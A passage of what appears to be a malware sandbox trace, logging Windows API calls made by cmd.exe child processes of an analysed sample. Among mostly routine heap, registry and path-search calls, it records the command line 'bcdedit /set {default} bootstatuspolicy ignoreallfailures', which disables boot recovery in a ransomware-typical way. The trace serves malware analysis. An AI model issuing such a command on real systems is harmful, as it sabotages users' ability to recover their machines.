Size=0x58) returned 0x343008 [0038.745] GetProcessHeap () returned 0x330000 [0038.745] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x343068 [0038.746] GetProcessHeap () returned 0x330000 [0038.746] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4e) returned 0x343088 [0038.747] GetConsoleTitleW (in: lpConsoleTitle=0x1cf2f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.747] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.747] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.747] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.747] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.747] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.747] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.747] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.747] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.747] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.747] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.747] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.747] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.747] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.747] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.747] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.747] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0038.747] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.747] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.747] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.748] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.748] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.748] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.748] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.748] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.748] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.748] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.748] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.748] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.748] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.748] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.748] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.748] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.748] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.748] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.748] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.748] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.748] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.748] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.748] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.748] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.748] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.748] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.748] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.748] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.748] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.748] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.748] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.748] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.748] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.749] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.749] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.749] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0038.749] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.749] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.749] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.749] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.749] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.749] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.749] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.749] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.749] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.749] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.749] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.749] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.749] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.749] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.749] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.749] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.749] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.749] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.749] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.749] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.749] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.749] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.749] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.749] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.749] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.749] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.749] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0038.749] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0038.749] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0038.750] GetProcessHeap () returned 0x330000 [0038.750] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x3430e0 [0038.750] GetProcessHeap () returned 0x330000 [0038.750] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x5e) returned 0x3432f8 [0038.750] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0038.750] GetProcessHeap () returned 0x330000 [0038.750] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x418) returned 0x3307f0 [0038.750] SetErrorMode (uMode=0x0) returned 0x0 [0038.750] SetErrorMode (uMode=0x1) returned 0x0 [0038.750] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3307f8, lpFilePart=0x1cee10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cee10*="Desktop") returned 0x25 [0038.750] SetErrorMode (uMode=0x0) returned 0x1 [0038.750] GetProcessHeap () returned 0x330000 [0038.750] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3307f0, Size=0x64) returned 0x3307f0 [0038.750] GetProcessHeap () returned 0x330000 [0038.750] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3307f0) returned 0x64 [0038.750] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.750] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.751] GetProcessHeap () returned 0x330000 [0038.751] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x120) returned 0x343360 [0038.751] GetProcessHeap () returned 0x330000 [0038.751] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x238) returned 0x330860 [0038.757] GetProcessHeap () returned 0x330000 [0038.757] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x330860, Size=0x122) returned 0x330860 [0038.757] GetProcessHeap () returned 0x330000 [0038.757] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x330860) returned 0x122 [0038.757] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.757] GetProcessHeap () returned 0x330000 [0038.757] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe0) returned 0x343488 [0038.757] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x343488, Size=0x76) returned 0x343488 [0038.757] GetProcessHeap () returned 0x330000 [0038.757] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x343488) returned 0x76 [0038.758] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.758] GetLastError () returned 0x2 [0038.758] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.758] GetLastError () returned 0x2 [0038.758] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.758] GetLastError () returned 0x2 [0038.758] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.758] GetLastError () returned 0x2 [0038.759] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.759] GetLastError () returned 0x2 [0038.759] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0038.759] GetLastError () returned 0x2 [0038.759] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1ceb8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb8c) returned 0xffffffff [0039.126] GetLastError () returned 0x2 [0039.130] _get_osfhandle (_FileHandle=2) returned 0xb [0039.130] GetFileType (hFile=0xb) returned 0x2 [0039.184] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.184] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1cefe0 | out: lpMode=0x1cefe0) returned 1 [0039.185] _get_osfhandle (_FileHandle=2) returned 0xb [0039.185] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x1cf014 | out: lpConsoleScreenBufferInfo=0x1cf014) returned 1 [0039.186] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0039.187] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x1cf038, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x1cf038*=0x62) returned 1 [0039.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.200] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.236] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.236] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0039.236] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.236] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0039.236] SetConsoleInputExeNameW () returned 0x1 [0039.236] GetConsoleOutputCP () returned 0x1b5 [0039.236] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.236] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.237] exit (_Code=1) Process: id = "26" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x31693000" os_pid = "0xb98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0xb70 [0038.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37fd9c | out: lpSystemTimeAsFileTime=0x37fd9c*(dwLowDateTime=0xa7abd040, dwHighDateTime=0x1d5e09d)) [0038.201] GetCurrentProcessId () returned 0xb98 [0038.201] GetCurrentThreadId () returned 0xb70 [0038.201] GetTickCount () returned 0x1154aa7 [0038.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37fd94 | out: lpPerformanceCount=0x37fd94*=18007185861) returned 1 [0038.202] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.202] __set_app_type (_Type=0x1) [0038.202] __p__fmode () returned 0x76be31f4 [0038.202] __p__commode () returned 0x76be31fc [0038.202] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.202] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.202] GetCurrentThreadId () returned 0xb70 [0038.202] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb70) returned 0x60 [0038.203] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.203] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.203] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.203] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.203] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x37fd2c | out: phkResult=0x37fd2c*=0x0) returned 0x2 [0038.204] VirtualQuery (in: lpAddress=0x37fd63, lpBuffer=0x37fcfc, dwLength=0x1c | out: lpBuffer=0x37fcfc*(BaseAddress=0x37f000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.204] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x37fcfc, dwLength=0x1c | out: lpBuffer=0x37fcfc*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.204] VirtualQuery (in: lpAddress=0x281000, lpBuffer=0x37fcfc, dwLength=0x1c | out: lpBuffer=0x37fcfc*(BaseAddress=0x281000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.204] VirtualQuery (in: lpAddress=0x283000, lpBuffer=0x37fcfc, dwLength=0x1c | out: lpBuffer=0x37fcfc*(BaseAddress=0x283000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.204] VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x37fcfc, dwLength=0x1c | out: lpBuffer=0x37fcfc*(BaseAddress=0x380000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x120000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.204] GetConsoleOutputCP () returned 0x1b5 [0038.204] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.204] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.204] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.204] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.204] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.204] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.205] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.205] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.205] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.205] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.205] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.205] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.206] GetEnvironmentStringsW () returned 0x652058* [0038.206] GetProcessHeap () returned 0x640000 [0038.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x652b30 [0038.206] FreeEnvironmentStringsW (penv=0x652058) returned 1 [0038.206] GetProcessHeap () returned 0x640000 [0038.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4) returned 0x650c90 [0038.206] GetEnvironmentStringsW () returned 0x652058* [0038.206] GetProcessHeap () returned 0x640000 [0038.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x653608 [0038.206] FreeEnvironmentStringsW (penv=0x652058) returned 1 [0038.206] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ec9c | out: phkResult=0x37ec9c*=0x68) returned 0x0 [0038.206] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x0, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.206] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x1, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.206] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x1, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x0, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x40, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x40, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x40, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.207] RegCloseKey (hKey=0x68) returned 0x0 [0038.207] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ec9c | out: phkResult=0x37ec9c*=0x68) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x40, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x1, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x1, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x0, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x9, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x4, lpData=0x37eca8*=0x9, lpcbData=0x37eca0*=0x4) returned 0x0 [0038.207] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37eca4, lpData=0x37eca8, lpcbData=0x37eca0*=0x1000 | out: lpType=0x37eca4*=0x0, lpData=0x37eca8*=0x9, lpcbData=0x37eca0*=0x1000) returned 0x2 [0038.207] RegCloseKey (hKey=0x68) returned 0x0 [0038.207] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.207] srand (_Seed=0x5e423e1c) [0038.207] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0038.207] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0038.208] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.208] GetProcessHeap () returned 0x640000 [0038.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x210) returned 0x652058 [0038.208] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x652060, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.208] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.208] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.208] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.208] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.208] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.208] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.208] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.208] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.208] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.208] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.208] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.208] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.208] GetProcessHeap () returned 0x640000 [0038.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x652b30 | out: hHeap=0x640000) returned 1 [0038.208] GetEnvironmentStringsW () returned 0x652270* [0038.208] GetProcessHeap () returned 0x640000 [0038.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xae2) returned 0x654bd0 [0038.209] FreeEnvironmentStringsW (penv=0x652270) returned 1 [0038.209] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.209] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.209] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.209] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.209] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.209] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.209] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.209] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.209] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.209] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.209] GetProcessHeap () returned 0x640000 [0038.209] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x54) returned 0x6556c0 [0038.209] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37fa68 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x37fa68, lpFilePart=0x37fa64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37fa64*="Desktop") returned 0x25 [0038.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 